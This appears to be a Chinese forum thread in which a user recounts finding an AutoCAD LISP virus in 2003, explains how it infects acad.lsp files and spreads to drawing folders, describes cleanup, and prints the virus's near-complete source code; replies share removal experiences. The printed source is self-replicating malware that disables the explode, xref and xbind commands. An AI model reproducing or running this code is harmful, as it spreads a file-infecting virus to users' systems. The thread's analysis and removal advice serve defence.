[原创]LSP病 毒???
这是一个acad的lisp程序编写的病毒,呵呵,不是我写的。事件:
2003年7月1日,同事告诉我,acad里面的图块炸不开。
我检查发现打开图纸的应用程序调用出错>>>>>
出错指令指出错误为S::STARTUP
于是打开看acadr14.lsp acad.lspacad.mnl
发现acad.lsp中有数十个(load "acadapp")
清理掉留一个(load "acadapp")
还不好使。
删除所有的(load "acadapp")。
还不好使。
而且每次打开一个图都会增加一个(load "acadapp")
?????
打开acadapp.lsp
发现有问题,代码不熟悉???还修改acad.lsp
我认为是病毒了。
呵呵,还是lisp病毒(不知道算不算是首创?)
瞧我的思路是多么敏捷。
下面就简单了。
分析代码,好在是明码,没有加密,呵呵,如果是
加密的我可能会以为是系统安装的辅助软件冲突而忽略呢。
感染涉及文件名为acad.lsp和acadapp.lsp
开始杀毒>>>把所有acad.lsp和acadapp.lsp都删除。
完成了??????怎么打开cad又出现了被删除的acad.lsp
唔?
全盘搜索,呵呵,找到了上百个acad.lsp。
不在“正确”位置上的acad.lsp删!
打开看看,有(load "acadapp")的删!算了,都删了。
还有全盘acadapp.lsp都删除。
然后修复系统:找个干净的计算机,把有的acad.lsp复制到
cad系统文件夹中。
总结及随想:
1、入侵原理acad打开图形时候,会先在图形所在目录查找acad.lsp
运行。这是入侵口。病毒搜索acad系统所在目录的acad.lsp,感染,
并且在该目录下生成acadapp.lsp。以后每次打开别的路径的图形
病毒也会控制,然后在该路径生成病原体acad.lsp完成传播。
2、病毒中
(command "undefine" "explode")
(command "undefine" "xref")
(command "undefine" "xbind")
删除某些cad命令,算是发作的东西了。
3、病毒特征:
a传染有acad的图形所在的目录,及acad系统。
b发作时为禁止 炸开图块及图形引用、绑定。
c整个病毒2714字节。
4、该病毒传播原理可以是acad的lisp程序安装的一个思路,hehe
感染系统=安装,向外传播的功能就别用了。
5、程序目的、功能明确,是典型的病毒。
好在破坏不太强,比较“温柔”。
程序传播路径较窄,传播系统必须装有autocad,且能够运行lisp程序。
6、注意问题,一般存放DWG图形文件的目录中有acad.lsp可能是病毒。
7、下面是病毒acad.lsp的大概源代码。不过别拿来试验了,你能够改的好使,你就能编出更好的病毒了。
(defun
s::startup
(/
old_cmd
path
dwgpath
mnlpath
apppath
oldacad
newacad
nowdwg
lspbj
wjm
wjm1
wjqm
wjqm1
wz
ns1
ns2)
(setq
old_cmd
(getvar
"cmdecho"))
(setvar
"cmdecho"
0)
(setq
path
(findfile
"base.dcl"))
(setq
path
(subst
path
1
(-
(strlen
path)
8)))
(setq
mnlpath
(getvar
"menuname"))
(setq
nowdwg
(getvar
"dwgname"))
(setq
wjqm
(findfile
nowdwg))
(setq
dwgpath
(substr
wjqm
1
(-
(strlen
wjqm)
(strlen
nowdwg))))
(setq
acadpath
(findfile
"acad.lsp"))
(setq
acadpath
(substr
acadpath
1
(-
(strlen
acadpath)
8)))
(setq
ns1
""
ns2
"")
(setq
lspbj
0)
(setq
wjqm
(strcat
path1
"acad.lsp"))
(if
(setq
wjm
(open
wjqm
"r"))
(progn
(while
(setq
wz
(read-line
wjm))
(setq
ns1
ns2)
(setq
ns2
wz)
)
(if
(>
(strlen
ns1)
14)
(if
(=
(substr
ns1
8
7)
"acadapp")
(setq
lspbj
1))
)
(close
wjm)
)
)
(if
(and
(=
acadpath
dwgpath)
(/=
acadpath
path))
(progn
(setq
oldacad
(findfile
"acad.lsp"))
(setq
newacad
(strcat
path
"acadapp.lsp"))
(if
(=
lspbj
0)
(progn
(setq
wjqm
(strcat
path
"acad.lsp"))
(setq
wjm
(open
wjqm
"a"))
(write-line
(strcat
"(load
"
(chr
34)
"acadapp"
(chr
34)
")")
wjm)
(write-line
"(princ)"
wjm)
(close
wjm)
)
)
(writeapp)
)
(progn
(if
(/=
nowdwg
"Drawing.dwg")
(progn
(setq
oldacad
(findfile
"acadapp.lsp"))
(setq
newacad
(strcat
dwgpath
"acad.lsp"))
(writeapp)
)
)
)
)
(command
"undefine"
"explode")
(command
"undefine"
"xref")
(command
"undefine"
"xbind")
(setvar
"cmdecho"
old_cmd)
(princ)
)
(defun
writeapp
()
(if
(setq
wjm1
(open
newacad
"w"))
(progn
(setq
wjm
(open
oldacad
"r"))
(while
(setq
wz
(read-line
wjm))
(write-line
wz
wjm1)
)
(close
wjm)
(close
wjm1)
)
)
)
(defun
C:explode
(/
p
cont
old_cmd)
(setq
old_cmd
(getvar
"cmdecho"))
(setvar
"cmdecho"
0)
(setq
p
(ssget))
(if
p
(progn
(setq
cont
(sslength
p))
(princ
"\nSeltct
objects:")
(princ
cont)
(princ
"
found")
(princ
"\n")
(princ
cont)
(princ
"
was
not
able
to
be
explode")
)
)
(setvar
"cmdecho"
old_cmd)
(princ)
)
(defun
C:xref
(/
old_cmd)
(setq
old_cmd
(getvar
"cmdecho"))
(setvar
"cmdecho"
0)
(command
"insert")
(setvar
"cmdecho"
old_cmd)
(princ)
)
(defun
C:xbind
(/
old_cmd)
(setq
old_cmd
(getvar
"cmdecho"))
(setvar
"cmdecho"
0)
(command
"insert")
(setvar
"cmdecho"
old_cmd)
(princ)
)
(defun
C:burst
(/
p
old_cmd)
(setq
old_cmd
(getvar
"cmdecho"))
(setvar
"cmdecho"
0)
(princ
"\nBURST----将图块中的文字炸开后成为实体")
(setq
p
(ssget))
(setvar
"cmdecho"
old_cmd)
(princ)
)
(princ)
永不停息的夸克:开心猫。
我发源码给瑞星,他们说杀不了! 这个病毒很早以前就有人发现了,你找找,好象还有人贴过专门查杀这方面病毒的东西。
请问
你们好:问一下关于 VLA 的MOMENTOGINERTIA属性
与(vlax-safearray->list)
(vlax-variant-value)
函数的具体解释 我第一次看到這樣的情況,很惊奇的.多多向廣大人民群眾學習. 我也碰到了,我将所有的ACAD。LSP删除了,可进行图块爆炸了! 我也碰过一次,但是是另存后打开,然后把ACAD.LSP删除,总结了几次规律之后才找到的,早知道这里有高手,唉,就不用浪费那么多时间了 我们最近也有这个病毒,删除acad.lsp或删除acad的安装目录后重装就可以。 我知道这个杀这个病毒的程序,下载地址我忘了。
我机子里有,但不知道如何提供给需要的人 可以上传到下载中心,下载中心右上角有个软件管理,进去就可以了 没见过 大开眼界